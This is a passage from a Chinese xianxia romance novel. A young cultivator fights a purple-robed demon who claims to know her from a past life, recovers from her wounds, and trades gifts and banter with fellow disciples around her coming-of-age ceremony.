得了岳寄欢这声没什么震慑的威胁,这妖像是听了什么天大的笑话,依旧笑吟吟盯着她瞧:“我可不会认错,你就是阿吟。”他小指缓慢地蹭了蹭岳寄欢脸颊,漫不经心地说,“仙都那群人要来便来吧,至于他们有没有命活着回去,那便是另一回事了。”
“你就是认错了。”岳寄欢冷冷盯着他,“若是不放我走,要死我也带着你一起死,我们同归于尽。”
紫衣大妖一点不恼,反而笑眯眯道:“好啊,殉情。”
岳寄欢:“……”这妖当真是活腻了罢。
与这没个正形的妖拉扯了片刻,岳寄欢没在水中的脚尖早已勾上沉在水底的青岚。话音刚落,她身子一旋,硬生生从这妖的束缚中挣脱开来,将凝着水珠的剑挽于手中,直冲眼前的妖而去。
大妖斜身躲过她这不留情的剑,踩着水面后撤几步,语气有些说不出的惆怅:“你当真同从前不大相同了,对我尚且如此,杀心那么重。”
岳寄欢充耳不闻,懒得搭理。她随着这妖的步子翻飞在坠月潭边,手中的剑越来越快,剑身拖曳出耀眼的银光,剑气扫荡,水珠同血飞溅在二人身上,溅湿了她的裙摆。
躲闪间,紫衣大妖低头望着手背上那道干涸的血痕,同方才被岳寄欢划破的衣袖——
有数多殷红的血断断续续,粘稠地沿着他的手臂如河般向下淌。
鲜血染红了清澈波澜的坠月潭,潭中月白,逐渐覆盖上一层一层的血丝。
他抬起头。
青岚剑已化为游龙惊鸿之势,飞速朝着他的眉心袭来。
再晚看清眼前的景象一秒,这剑便会刺穿他的眉心,将他捅个灰飞烟灭。
岳寄欢绛紫的身影如风缠在这剑身后。
“铮——!”
潭中水尽数被激起,在潭间笼起一丈巨大的水波,将打斗的二人包裹在其中,像一盏含着紫色并蒂莲的琉璃灯。
岳寄欢一剑刺去,这剑几乎用了她十成十的气力。眼前雾气缭绕的剑身刺破了水帐,眼看就要捅穿对面人的身体。
她闷着心口,强压着来迷雾林这数月才平静下的心气,剑刺出的同时,也“呜哇”吐出一口浓重的血。
剑停在了半空中。
没有预想中那种剑身刺破血肉带来的满感,只有很浅薄的一点,划破皮肤的“刺啦”声。
被激起的水花荡然消失,岳寄欢猛然咳了几声,血沫充斥在口腔,腥得她想吐。
稍微喘了两口气,她顶着浑身分不清是谁的血,缓缓抬起眼。
青岚剑的剑尖恰如其分地划破了一点对方的额心,有一道细细的红痕顺着这妖额心而下,流经眉眼,下颌,在脖颈上勾勒出极其细的,如水流分叉的淡色红痕。
往后看,剑被两根修长的手指抵住,在银亮刺眼的剑身上反射出淡淡的光。
岳寄欢紧紧咬着唇,脸色难看的要命。
这紫衣大妖只守不攻,虽被她伤到了好几处,可终究没伤到什么实处,像是故意逗着她开心。这会子被她一剑刺穿额心,竟瞧着也不是很中伤的模样,除去那双含情眼中划过的那一抹异色,依旧是挂着一副死皮赖脸的笑意。
他拖着调子“啊”了一声,两指夹着青岚剑剑身,往岳寄欢那边压,逼着她不断后退:“你当真是绝情得很。”
岳寄欢快要被他满嘴胡话逼疯了:“一只妖大半夜闯进仙都重地,没杀了你是我无能,你大可不必用些没由头的话来激我。”
这妖笑而不语,只是不断使着柔巧绵缠的力将她往潭边抵。空旷无人的迷雾林,岳寄欢叫天天不应叫地地不灵,烧出去的黄符也不知是烧到哪个天涯海角去了,系统也喊不应,简直凄惨!
她闭了闭眼,感受到身体不断后跌,赶忙稳下心神,心思转圜:“你……你当真是认错了人了,我如今不过及笄,怎可能与你认识。”她眸中流露出几分可怜的光,“不过你既能把我错认,想来我同你认识那人必然长得……”
岳寄欢颇没骨气地服了软:“能不能看在对方的面子上,放过我。”
倏忽,面前的妖似乎是听到什么新奇的东西,忽地停住了对她的压迫。
岳寄欢心中虚虚松出一口气。
若是遇到的是如此前在羡水城的伞妖阿桑和扶音,岳寄欢就算在对方手底下死成碎渣也不可能屈服半分。
面前这位,虽妖力深厚,但身上缠绕的煞气太淡太淡,几乎没有。
这意味着面前这看上去高高在上,言语不屑的紫衣大妖,手上并未沾染过什么无辜的血。
虽说妖魔邪祟四处逃窜,扰乱生灵,可这妖终归也分恶妖和好妖。
愈是手上无辜鲜血沾染太多的妖,那妖气必然冗乱,煞气必然浓重呛人,趋似是魔;但反之,只修妖道,却并未随意杀生染血,身上的妖气就越和顺,煞气极淡。
恶妖就类似与阿桑和扶音那样腥臭煞气浓重的妖。而心纯些的,天地生灵,天上一只鸣叫的雀妖,地里一颗圆滚滚的萝卜妖,便是能与人间同修仙界和睦相处的妖。
三界其实并没有那么极端崇尚妖仙对立。
虽说修仙界极少,但人间这等协助修仙人和除妖师以此除恶妖斩邪魔的善妖,终归还是有的。
真希望面前这妖也是。
岳寄欢一只手握着剑柄,盯着对方漂亮的眼睛不再说话。
她另一只手藏在衣袖里,捏紧又松开,缓和地召出了银镯里一堆乱七八糟的灵物法宝。
要是对方不答应,她就真和这妖同归于尽。
岳寄欢咽了口唾沫,她已经有点分不清额间流下的是汗,还是方才沾染的潭中水珠。
徐徐冷风吹得她脸颊生烫。
面前的妖忽然借着二人间悬着的剑,顺势将她一把拽回身侧。
摇摇晃晃往前跌了两步,岳寄欢险些叫出声,她下意识就要把袖中召出的法器灵宝往对方身上扔。紫衣大妖像是早有预料,钳着青岚剑的指尖一弯,将剑硬生生从二人手中甩出去,而后另一只手轻柔而缓和的勾住岳寄欢垂下的衣袖,将这藏在袖中的手虚虚圈起,顺势将她腕上的银镯轻巧褪下,旋了个圈儿套在自己的腕上。
岳寄欢伸手去夺:“你干什么?!”
大妖往后退了一步,咕哝了一句:“你急什么呢,怎么还是这么喜欢这个破镯子。”
未等岳寄欢再说话,他又很平静地道:“别不承认自己是阿吟,嗯?你哪里是才及笄,明明活了这么久了。”他指尖在岳寄欢额间点了点,“上一世,我可是直到你死都没找到你。”
岳寄欢蓦地僵住,张张口说不出话来,想动一动身子,一点也动不了。
一点也动不了。
对方的话带给她的冲击太大,使她此刻如坠冰窖,心想还不如死了算了,自己现在僵硬得和凉透了的尸体没什么两样。
大
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妖却像是没有瞧见她的反应,自顾自地道:“罢了,你现在应当是什么也想不起来了,不过没关系。”他圈住岳寄欢手腕的手往上一滑,而后一点点掰开岳寄欢僵得冰凉凉的掌心,语调有点落寞,“重新记得我就好了。”
岳寄欢想要挣脱开这妖的禁锢,却发现怎的也动不了。她只能麻木的,像被提着丝线的傀儡一样,顺着对方的眼神低头去看这略有怪异的举动。
兰谣倾冰凉的指尖划在她掌心上,写了两个点撇。
“这是我的名字。”
他又接着往下写,动作相比方才初见岳寄欢之时,轻柔得不成样子。
“你好好记着。”
一横,往下,又一横一横,肆意洒脱,转而在她掌心落下第二个字,第三个字。
“别再忘了。”
兰、谣、倾。
掌心传来的细腻触感将这一笔一划触电般刻穿岳寄欢的脊骨,她莫名呆愣地定定瞧着掌心无形的字,眼眶莫名溢出点温热的湿润,今天晚上风太大了,水又那么冰冷,刺激得她眼尾都泛红。
抛开这种几乎贯穿骨髓的熟悉感,岳寄欢终于想起来几月前,宋折镜在石桌上用茶水写下的那个龙飞凤舞的“兰”字。
同现在落到掌心上这个,一模一样。
兰谣倾笑笑:“记得了吗?”
岳寄欢喉头一缩,下意识应了他一声:“记得了。”
见状,兰谣倾很满意地点点头,懒洋洋道:“本想着你今世及笄之时再去找你,没想到今夜便遇见了,也免了我再去天场一趟。”他想了想,从另一只完好的袖中摸出一支银丝蝴蝶玉步摇,迅速簪在岳寄欢发间,“喏,及笄礼。”
这支蝴蝶坠做工瞧着实在精巧,玉石银线,簪在发间顺风浮动,真若蝴蝶落发,轻盈灵巧。
岳寄欢一时间还没从对方带来的巨大冲击中苏醒,于是下意识摸上发簪,推脱道:“此物贵重,我不能收。”
她总觉得自己今夜的反应有点奇怪,但又说不上来。
闻言,兰谣倾却放开她手腕,余光掠了眼她腕上银色契纹,没再多说什么:“本就是你的东西,何来收不收一说。”他环视了一圈夜色,最后急匆匆道,“罢了,仙都的人已经来了,下次再来找你。”
“别忘了。”
他指尖撩了撩岳寄欢散落的额发,温柔缱绻的神情一消而散,唇角勾起一丝恶趣味的微妙笑意。
看着这抹意味不明的笑,岳寄欢忽然想到什么,猛然伸手去拉他衣角。
兰谣倾却已如一阵急风乍然消失在岳寄欢眼前,就如同黄昏时出现在她面前一样,那么猝不及防。
岳寄欢扑了个空。
抬头,天上的月亮似乎更圆了一些。
随着这妖的离去,喘息未定,周围的景象像是变了一个场景。岳寄欢终于从这种寂静无人的荒谬中脱离开来,耳边响起系统疯了一样的叫喊;坠月潭不远处的林子里传来柳扶荔和单若水呼喊她名字的急切声音;前方,好像有一道熟悉的,懒散的青色身影正执着灯缓慢而急匆匆地朝她走来,忽远忽近。
岳寄欢猛地脱力,一下跌落在坠月潭边,口中一点点呛出殷红骇人的鲜血。
直到一个冷香暖意的身影将她从冰冷的地上拥起。
身体回温了些。
眼中虚幻的数轮月亮正不断汇成一弯,逐渐覆满岳寄欢逐渐聚焦的瞳孔。
眼睛缓缓阖上,她忽地,没由来的笑出了声,肩膀一抖,喉咙里挤压出一声短促的“呵”,薄得像一片刀。
原来从进入迷雾林之时,她就一直,一直都身处那妖赐给她的,空洞迷幻的新世界里。
35. 丁香结(五)
岳寄欢不打算参加仙都今年的仙礼。
仙礼举办三日前,她才满身是血地被柳扶荔一行人从迷雾林带回仙游峰。
玄意听说她伤得不轻,连忙千里迢迢地从迷陇赶回仙都,亲自守了她好几日。
他把药碗搁下,又塞了一枚甜酿酿的果煎在岳寄欢掌心,然后问出他自回仙都后的第一个问题:“你说,那日迷雾林里来了个妖力深厚的紫衣大妖?”
岳寄欢面色平静地倚在床头,言简意赅:“是,还设了幻境,圆月草沾血枯萎。我的错,太过轻敌,我中计了。”
她隐瞒了对方知道她重生的事实,看起来,这名叫兰谣倾的大妖似乎知道很多能称得上秘密的事情。
“是为师的错,你年龄这样小,我一时疏忽,放你一个人去到那林中。”玄意叹了口气:“这件事不怪你。紫衣大妖……是他的话,你伤了他,能活下来已经很好了。”
岳寄欢一噎,下意识问:“谁?”
玄意:“折镜同你们讲过半岁前,有一封妖界传信钉穿在天场大门之上了吗?”
岳寄欢心下了然:“嗯,是他。”
玄意扶着额:“那便是了,我只当他是放肆惯了,没想到如今胆子这样大,仙都设下重重法阵,他也能熟练地同回自己家一样。”
岳寄欢抿着唇没说话,她竟从不知师尊也认得那大妖。毕竟上一世,她从未知晓关于兰谣倾这个名字带来的消息和关联,一点都没有。
她嘴唇嚅嗫了几下,有点薄薄的刺痛感。因着重伤的缘故,岳寄欢现在的唇色远远比不上平日健康红润的模样,此刻显露出一种极浅淡的干燥苍白,脸色闷恹恹的。
玄意看出她有话要说:“怎的了?哪里不舒服吗?”
岳寄欢轻轻摇头:“没有。”
“明日仙礼,他不会再来了。”想了想,她道。
玄意替她掖了掖被角:“重伤了你,明日当然不会再大摇大摆地来到仙都。”他撩起眼皮,语气是说不出的冷淡,“除非他想死。”
岳寄欢扯了个笑:“师尊在,他当然不敢再来。”
除去布下幻境重伤一事,她没同玄意说对方冲她喊得那些莫名其妙的亲昵名字和举动,这毕竟关系到她重生,此事现在还不是告诉玄意的时候,只能暂且按捺着。想来玄意方才那句“活下来已经很好”,兰谣倾应当对她没什么真心实意的杀心,死里逃生,也算得一件稍微值得庆幸的事情。
师徒二人说话间,门口传来一阵轻微的咚咚声,片刻后,门“吱呀”一声开了。
一道黛绿色的身影走了进来,这身影端得舒雅,进门后冲玄意缓缓行了一礼:“师叔午安,我来瞧瞧泱泱。”
玄意颔首,温和道:“你来了刚好,她一个人也待得闷。”他起身抖袍,温柔一笑,“你们小姑娘之间说话,我便先走了。”
拒霜道:“师叔慢走。”
岳寄欢也道:“师尊慢走。”
玄意倒也真没多留,玩笑两句便离开了屋内,临走时还把门掩了,给岳寄欢同拒霜二人单独说些话。
屋内除了微苦的药味,还弥漫着淡淡的兰香,漂浮在光流进的空气内。
拒霜揽椅坐下,一副很熟稔的模样:“好些了吗?”
岳寄欢把桌上满满一包蜜饯摊开:“吃点,我好多了。”
拒霜也没客气,拈了两粒入口:“被兰谣倾打伤的?”
“你怎么知道?”岳寄欢反问,“和他认识?”
拒霜很神秘地笑了笑:“不认识,只是知道他。”
话说自入宗门各拜各师后,她二人间关系倒是愈发好了,没了之前僵硬诡异的试探感,一起逃课打架是常有的事情,从宗门内闹到宗门外,充分发挥这副年龄够小的身体带来的幼稚和胡作非为,沿袭她二人还未入宗门时就喜毁了宗门前那大片灵树的坏习惯,每次都无意,毁完就道歉,道完歉就赔钱,一次三千灵石,不断上叠,做任务赚钱的速度压根追不上赔钱的速度。
相比于二人入宗门前一副乖巧懂事的模样,入宗门后简直同换了两个人,双姝的名头硬生生被折腾成仙都双煞。
岳寄欢疑惑道:“知道他?”
拒霜也不废话:“是,妖界内实际分为东西二界,兰谣倾统领东界。”
岳寄欢终于想起来那个“兰”字为什么熟悉了。
这样的字,前世她在洛心棠寄给她的信笺里见过。
实在是一张很薄很薄的纸,轻飘飘夹在信间,像是无意散落到其中的,又像是故意夹进去的。
这纸上面只提了一句字体洒脱肆意的小诗。
思悠悠,恨悠悠,恨到归时方始休。
岳寄欢当时瞧了几眼,便下定论,这是那个帮助洛心棠堕魔成妖的妖王写的。
故意写这样的诗,目的是为了给她身旁的宋折镜看。
没出意外,这种几乎称得上愚蠢的小计谋真的很成功,拆开这信时,宋折镜就站在岳寄欢对面,的的确确看得很清楚。
后面发生的事情没什么值得再说的,岳寄欢最后悔的就是要在宋折镜面前毫无防备地把洛心棠寄给她的信拆开。
“我想起来了。”岳寄欢咳了咳,“妖界内确实分为两界,准确一点,西界已经不能称之为妖界了,里面全是堕落的魔。”
拒霜很赞赏地瞧着她:“是。”
想到点太凄惨的回忆,岳寄欢对兰谣倾的怒恨更添一层:“罢了,谁管他统领的是西界还是东界,他这样伤我,我此后断不会让他好过。”
拒霜:“……”
她吸了口气:“报仇也是此后的事情了,我听说你也重伤了他。”拒霜微微一笑,“在他的幻境里刺穿了他的额心?”
岳寄欢摊开手心,一粒红得发黑的凝血悬在她面前掌中,显得诡异又心惊。
拒霜抚掌,真心实意道:“你倒还真有点能耐。”
岳寄欢冷哼一声:“哪有不还手的道理,外人传说我睚眦必报是重,有债还债,有仇报仇,不过世间最寻常之理。”
拒霜瞧着她心中躁郁之气又浮腾起来,便转移了话题:“明日仙礼你还要去吗?”
岳寄欢:“不去。”
“想来也是。”拒霜从袖中掏出一个小盒子,递给岳寄欢,“及笄礼。”
岳寄欢伸手接过,还未等她仔细去瞧这小檀盒里的东西,又听拒霜淡声道:“你还记得两年前上天阶,那个性子很傲的同门吗
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?”
岳寄欢回忆了片刻:“燕须霁喊‘乐恣’那个?”
拒霜:“是,萧乐恣。”
岳寄欢拖着腔“噢”了声:“也是今年及笄吧。”她眨眨眼,眼睫扫动,像是反应过来般问道,“姓萧?从上京城来,皇室的人。”她最后很笃定。
拒霜颔首:“昭怡郡主。”
岳寄欢瞥着她:“那燕须霁……”
拒霜脸上看不出什么情绪:“不知。”
岳寄欢:“……”都是京城来的,骗谁呢。
她道:“萧……”
岳寄欢才要问拒霜为何突然同她提到萧乐恣,下一秒,拒霜却毫无根据地开了口:“她找我拜托你一件事。”
岳寄欢问:“她那般心高气傲之人竟还有求人的一天?怎的了?遇到什么不顺的事情了吗?”
她连着问了三问,拒霜连忙打断,接着,用一种很复杂的眼神看着她:“你同青鸾宫的那位少宫主,是不是很熟悉?”
岳寄欢拒绝得很干脆:“不熟。”
拒霜:“前几日,是他背着你回的宗门。”
岳寄欢:“……”
她笑得比哭还难看,沉默道:“那又如何?这不能证明我和他很熟悉。”
拒霜一点没给她面子:“初入天场之时,你出了花林,脖颈上的伤是他划的吧。”她微妙地一顿,“你前几日回来的时候,柳师兄和单师姐也在一旁,他们怎么不背你?偏偏是——”
岳寄欢冻着脸:“所以萧乐恣要拜托我的事和谢忧有什么关系?”
拒霜道:“瞧着,她似乎是有些心悦那人。”
岳寄欢一哽:“这种人有什么好喜欢的?”她有些不可置信,“况且她喜欢谢忧同我有什么关系。”
拒霜无可奈何地叹了口气:“她也是个颇能屈能伸之人,瞧着你二人似乎认识——其实是知晓你两位师兄与那位谢师兄熟稔得很,又不好拉了面子去问你师兄他们,便找到了我身上,借着来问问你。”
她飞快补了一句:“告知她那位谢师兄喜欢些什么吃食物样便好,重金酬谢。”
岳寄欢戳破了她那点心思:“你那是盯着报酬去的。”
拒霜不在意,哼笑一声:“你这两日有钱得很?年前误伤了云庐那一片花草,你我还欠着执事堂一万灵石。”
岳寄欢:“……”
她沉吟片刻,终究道:“行。”
拒霜笑了笑:“找个机会去问问吧,你也好,你师兄也好。”她拎着裙摆站起身,“这几日那谢师兄也在宗门内,就在仙游峰中,我方才进来时,正巧看见他同柳师兄在下棋。”
岳寄欢有点意外:“已经过了好几日,他怎么还在仙游峰?”
拒霜已经走到门口,听闻岳寄欢这样问,她微微回身,露出一个意味不明的浅笑:“谁知道呢,或许是太喜欢和柳师兄下棋,或许是等着宋师兄喝杯茶。”
岳寄欢扬声喊她:“管他呢!你下次来给我带些玫瑰酥!”
打开房门,门外刺眼的淡黄色阳光争先恐后地挤进屋内。门口,拒霜背对着她,迎着日光,她单薄的身影压在垂花飞柳的阴影处,没回头,只是伸手一摆,懒洋洋道:“知道了。”
36. 丁香结(六)
秋光缱绻,半黄半绿的银杏欲垂未垂,低低斜在水亭旁。
光落到谢忧眼角,他执子落下:“醒了?”
柳扶荔随意落了一子:“卯时便醒了。”
“已经派人去迷雾林中查看。”谢忧侧头望着亭外波光粼粼的一池绿水,“今年仙礼,兰谣倾不会再来了。”
柳扶荔淡淡道:“你怎么知道?”
谢忧扯了扯唇:“目的已经达成了,他再来干什么?”
柳扶荔:“我以为你要说他怕死,不敢再来。如今仙都布下重重法阵,就为了防着他。”
谢忧:“他怕死?他既不怕死,仙都也防不住他。”
绿池水中偶尔游过几尾红鲤,有微小的气泡鼓在水面上,荡起一片波澜。
柳扶荔没了下棋的心思,棋盘上棋局只下了一半,还未下完。他起身捻了点糕点碎屑投进池中,百无聊赖地倚在亭边去瞧红鲤夺食。
谢忧揽袖将柳扶荔的棋盒取过,自己一个人对弈起来:“仙礼过后有一场天场大比,去吗?”
柳扶荔有一搭没一搭地往池子里扔糕点屑:“不去。”
水中红鲤聚得愈发多而密,他逐渐停下了往里扔糕点的动作,眼珠一转道:“你要去?”
谢忧落子的动作愈发快:“本是想去的,后来想想这比试实在无聊,那便不去了。”
柳扶荔坏笑道:“是想见的人不去了吧。”他状似无意地掠了眼不远处的一间屋子。
谢忧没错过这人的小动作。
他慢悠悠把最后一子落下,啜了口茶,骚话张嘴就来:“是啊,你不去我见不着你,想你无用,无聊得很。”
柳扶荔骂道:“滚。”
谢忧执起茶杯朝他一抬:“玫瑰冷茶不错。”
柳扶荔又挂起一个很假的微笑:“你想见的人也挺喜欢喝这茶的。”
谢忧疑惑地哦了一声,声音是听不出的凉:“我发现你怎的如此喜欢乱点鸳鸯谱。”他倒也不再装作听不懂。
似乎是想到什么有趣的事情,柳扶荔脸上的笑意愈发诡异:“我是在陈述事实。”
谢忧只搁下几个冷漠的字:“别再瞎凑合了。”他冷冰冰道,“没可能。”
柳扶荔挑眉看他:“谁没可能?”
谢忧道:“本就无意,谁都没可能。”他冷笑一声,“如今,她想杀了我倒是真的可能。”
柳扶荔:“那你那日为何还出现在迷雾林中?我瞧你背得挺乐意的。”
谢忧面色平静如水:“那要去问她,她不只写了你们的名字,还写了我的,不得不来。又扒着我死不松手,总不能当着你们的面把她手砍了。”
“……”
柳扶荔只得叹息:“小泱泱,当真是病急乱投医。”
说罢,他起身拍了拍手,回头去看桌上已经下完的棋局,又扯起大比一事:“罢了,说起这天场大比,不去反而对你是件好事。”
听闻,谢忧修长的手指轻叩着梨花桌,发出闷亮的“咚咚”声,反射出晃荡的银杏黄色。
他道:“为何?”
谢忧一边问着,一边揽袖起身,朝亭外走去。
四周生得高低错落的银杏随着微风的吹拂缓缓飘落,银杏枝迷乱了柳扶荔投来的遥遥视线,透过莹黄色的缝隙,能看见谢忧那道青绿如水的身影站在亭前,阳光温和地吻在他身上。
柳扶荔低下头,盯着棋盘道:“你以后就知道了。”
谢忧听着他模棱两可的答案也没再说什么,他轻嗤道:“我倒要等着瞧瞧,这是件多好的事情,要以后才能知道。”
柳扶荔应他:“那你等着吧,知道的那天,你会谢谢我的。”他嘶了口气,“对了,去羡水城替我带包玫瑰酥。”
谢忧已经往外走远了,他遥声懒叽叽地答,却不知是在答应哪件事情:“行,我等着。”
水亭中又只剩下柳扶荔一人,头顶被风吹得窸窣作响的银杏片片落到方才下完的棋盘上。柳扶荔执着扇骨,扇尖将那棋局上一枚黑棋随意挪了个位置。
几粒棋子隐匿在黄色银杏叶里。
谢忧下完的这盘棋局,黑白皆活,单瞧着,好像并无一处死局。
柳扶荔以扇抵颌,看着谢忧独自离去的背影,又低头盯了许久这盘方才被自己只动一子的一方棋局。
现如今,这盘棋上黑白两败俱伤,皆为死路。
……
岳寄欢今日穿的厚,里三层外三层裹着狐裘坐在水亭前,将桌上棋子重新收好:“我有事要问。”
单若水坐在她对面,托着下巴道:“什么事?”
今日是仙都仙礼,岳寄欢目前还带着伤,便不去参加,这会坐在亭中打发时间。
宋折镜也意外地看着她:“你还会有事要问?”
“她又不是百事通,怎的不能有事要问。”柳扶荔拎着个纸包进了亭中,将纸包搁在岳寄欢面前,“玫瑰酥。”
这会子灵苑内师兄妹四人倒是意外聚得齐,一人一面,整整齐齐坐在亭中桌前,拢在柔软的软垫上。
岳寄欢拆着纸包,取了一块酥饼递给单若水:“你去羡水城了?”
柳扶荔故作思考:“我请人替我买来的。”
宋折镜道:“你倒是会差遣人。”
柳扶荔:“你情我愿,何来差遣一说。”
纸包中的玫瑰酥很快被师兄妹几人分完,柳扶荔咬了一口,嘀咕道确实好吃,又问:“对了,你方才说你想问什么事情?”
岳寄欢单刀直入:“谢忧喜欢吃些什么?”
柳扶荔:“……?”
宋折镜一噎,呛得不轻:“你问这个干什么?”
岳寄欢板着脸:“有人想知道。”
单若水下意识问:“谁?”
岳寄欢点到为止:“总之有人想知道。”
她没说是萧乐恣那姑娘想知道这事,这毕竟也是人家的隐私,她总不能一股脑的全部说出来,那便成真小人了。
柳扶荔喉咙里发出些怪异的笑声:“不会是你想知道吧?”
钱难挣但是玫瑰酥好吃,岳寄欢忍住了翻白眼的冲动:“你觉得可能吗?”
宋折镜煞有其事:“有可能。”
岳寄欢:“……”
她抚着心口咳了咳:“快说。”
瞧她一副虚弱无依的模样,单若水非常心软:“我只知晓他,似乎是爱吃些甜食。”
岳寄欢想都没想就点头:“多谢师姐,这个我知道。”
闻言,柳扶荔深深看了她一眼。
宋折镜把玫瑰酥咽下,难得顺着她:“喜欢吃桂花酪。”
岳寄欢蔫嗒嗒:“这个也知道。”
宋折镜看她的眼神也不对劲起来。
单若水努力回想片刻,最后无奈地摇摇头:“我不知道其他的了。”
岳寄欢又捻了一块玫瑰酥给她。
宋折镜的声音变得恍惚迟缓:“还喜欢吃些,荔枝酿吧。”
岳寄欢也递了一块玫瑰酥给宋折镜。
她道:“这个……额,还有别的吗?”
宋折镜蹙着眉,只道应该没有了。
柳扶荔又开始倒茶,他先给岳寄欢倒了一杯,茶汤顺滑,泛着淡淡的暗色。
岳寄欢抱着茶杯喝了一口:“今日是热的玫瑰茶。”
柳扶荔依次倒完茶,徐徐坐下:“他还喜欢喝这个。”
岳寄欢敛着眉眼,嘴比脑子快:“他不是喜欢喝冷的吗?”
“你都已经知道了,还来问我们做什么。”柳扶荔颔首。
岳寄欢:“……”她当真是被那兰谣倾打傻了。
她甩了甩头,单若水非常有眼力见的替她撇开话题:“师妹,仙礼过后的天场大比,你要去吗?”
岳寄欢道:“不去了。”
单若水松了口气:“那就好,我还担心你会不会执意要去。”
岳寄欢问:“师姐要去吗?”
“要去的。”单若水伸了个懒腰,“去玩玩好了。”
岳寄欢应好,宋折镜已经起身要走,只说有事情太清殿有事要处理。
这场短暂的小聚最后结束在吃完的玫瑰酥和喝完的玫瑰茶里。
天色渐晚,岳寄欢也裹着披风缓缓走回阁内,她住的胜春阁中花木种的同样多,这个时节银杏渐黄,秋海棠垂落,还有几株艳丽的木芙蓉。
今夜无风,但花枝格外摇曳。
岳寄欢踏上廊中,缓慢走了两步,回身一把拽住来人的手。
这手冰凉透骨,骨节分明。
谢忧撩起眼皮:“岳师妹要一直抓着不放吗?”
岳寄欢拧着眉,后退两步,放开了他:“你怎么
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在这里?”
谢忧道:“来给柳扶荔送些甜食。”
原来柳扶荔是遣了谢忧去买的玫瑰酥。
岳寄欢松了口气,讥讽道:“天色已晚,谢师兄如鬼般晃荡在这仙游峰中,当真是吓了我一跳。”她抿着唇,“仙都最近不太平,你还是莫要在傍晚时分随意出来晃悠了。”
谢忧偏偏头,没说话。他从袖中取出一只银光蹁跹的簪子:“顺便来给岳师妹送些东西,如此看来,你不想要了?”
岳寄欢盯着这蝴蝶簪子:“给我。”
谢忧懒洋洋道:“忘了?这簪子可是你那日亲手塞我怀里的,现在却又想要回去。”
他说完,却是将簪子随意一抛,抛进了岳寄欢怀中。
岳寄欢蓦然伸手兜住这簪子,放回了袖中。
谢忧道:“兰谣倾给的?”
岳寄欢:“这同谢师兄没关系。”
谢忧意味不明地说:“兰谣倾乃妖界大妖,若这簪子是他给的,那岳师妹……”
岳寄欢打断了他:“不是。”
“想来也不是。”谢忧慢条斯理道,“毕竟岳师妹对这簪子可是随意得很,想丢就丢,也能丢到我手中来。”
岳寄欢脸色阴沉:“谢忧。”
谢忧这话说得蹊跷,又暗指若真是兰谣倾送的簪子,那岳寄欢便会好好珍惜,言外之意都是再指她同兰谣倾之间关系非常。
谢忧低低笑了声:“这么生气干什么,我可是听说,岳师妹今日还来打听我喜欢吃些什么呢,这会子态度又变了。”
宋折镜这个胳膊肘往外拐的。
岳寄欢身上的寒气简直比秋风还冷:“不是我要问的。”
谢忧:“我可没瞧出来岳师妹是什么乐于助人的人。”
岳寄欢反唇相讥,开始翻旧账:“我也瞧不出来谢师兄喜好乐于助人,会在别人呛到的时候帮忙顺顺背?这可是你自己说的。”
谢忧:“……”
“罢了。”他不自然地挪开了话题,又从袖中摸了个精巧的小木盒,抛给岳寄欢,“及笄礼。”
岳寄欢掂着这盒子沉甸甸的,其中必有什么珍贵的东西,口风转得很快,温温柔柔地微笑:“多谢师兄,想来谢师兄必然是个乐于助人,心善极了的大好人。”
谢忧陪着她演师兄妹情深:“岳师妹不必客气,我想师妹也应当是个善良温柔的姑娘。”
岳寄欢:“……”她总觉得这人是在阴阳怪气她。
“是瞧着你今日可怜,挨了一身伤还不能去仙礼。”谢忧道,“段无瑕和段裳裳托我给你的,她二人最近很忙,不能亲自来。”
岳寄欢笑笑:“是吗?那请谢师兄代我谢谢无瑕和裳裳姐。”
天色已经完完全全黑漆下来了,灵苑内廊中两旁错落地点着几盏柔光珠,隐隐约约地照到廊中相对而立的二人,模糊不清,光线依稀勾勒出五官,这光削去了二人身上锐利的锋芒,只觉温良缱绻。
海棠垂丝,花香木香。
岳寄欢半阖着眼:“谢师兄还是早些回去吧,夜深了。”
话未说完,谢忧却已经顺着走廊离开了,走在每一盏柔光珠下,光影忽明忽暗。他在岳寄欢这句话彻底到来之前就已消失在了她的视野里,走的突然。
见状,岳寄欢在昏黄的光下在几秒,拢着披风回到了阁内。
阁内灯光稀落,铜镜亮亮,倒映出梨花妆台上搁着的几个木盒子。
岳寄欢将手中的蝴蝶玉簪和木盒一并放在桌台上。
拒霜送的那个盒子已经打开,里面是一鼎小小的莹色星盏;其余几个是柳扶荔他们送的,加上玄意和湛家兄妹一共五个盒子,是些天地法宝和灵石;最后一个打开的稍微大些的木盒,里面放了一只精巧的炼丹小炉,和一张字迹圆劲流美的纸条。
纸条上写了及笄的祝福,末尾,留了两个名字。
段无瑕,段裳裳。
岳寄欢伸手打开青衣少年方才抛给她的小木盒。
灯光下,盒中静静躺着一只温润清透的衔珠紫玉兰步摇。
秋色浓郁,窗外下起淅淅沥沥的雨。
岳寄欢起身掩窗,雨声太大,她没了睡意便开门走到廊中,一个人望着这场悠长沁心的凉雨。
不记得看了多久。
只记得秋雨连绵,溅湿了她的裙摆。
37. 丁香结(七)
仙礼过后半月,便是仙都兴办的天场大比。
此次大比一共举办五天,两两对战分为两组,直到最后一日决出最终比试的二人。
相比于这世未入寻仙山就已经遇到仙都众人,前一世这个时间上,岳寄欢才第一次见谢忧。
那时的她也是方及笄。岳寄欢在这次天场大比上一路杀到最后一轮,第一次参加天场大比,名次蹭蹭晋到仙榜第二,第一是谢忧,因着这人比她多参加了上一次大比,名次要比她高上一名。
也就是这次大比,她和谢忧的关系未曾经历过当和谐友善的仙都师兄妹这一流程,便直接一步到位,彻彻底底变成了见面就死掐死打的对头。
岳寄欢下意识伸手摸了摸自己琵琶骨的位置。
隐隐作痛。
柳扶荔见她这样,眼睫一扫:“还痛吗?”
岳寄欢道:“那是以前的事情了,我现在好好的,不会痛。”
她眼中难得涌起一抹茫然与空洞,像是特意要和柳扶荔展示自己真的没事,又伸手重重压了压那个似乎在幻痛的位置:“真的不痛。”
柳扶荔哄着她:“好了,知道了。”他状似无意地问,“不过我还挺好奇,你们两个当时下手为什么会这么重。”
说罢,他微微仰头,扫了眼站在天场边缘,处在一群身着淡色衣裙小姑娘旁边些的谢忧。
“青鸾宫小姑娘就是多。”柳扶荔一顿,“他也没参加这次大比。”
“谁管他呢。”岳寄欢目不斜视,只是瞥他,“你真这么想知道?”
柳扶荔故作思考,像是在犹豫,不过好奇心战胜了心里那点踟蹰——毕竟同上一世不一样,这世的岳寄欢看着也不是特别抵触此事。
他“唰”地展开扇子摇了摇:“想。”
柳扶荔道:“当时可是第一次见你哭,抱着若水哭得稀里哗啦的。”
岳寄欢轻哼一声:“你痛你不哭?”
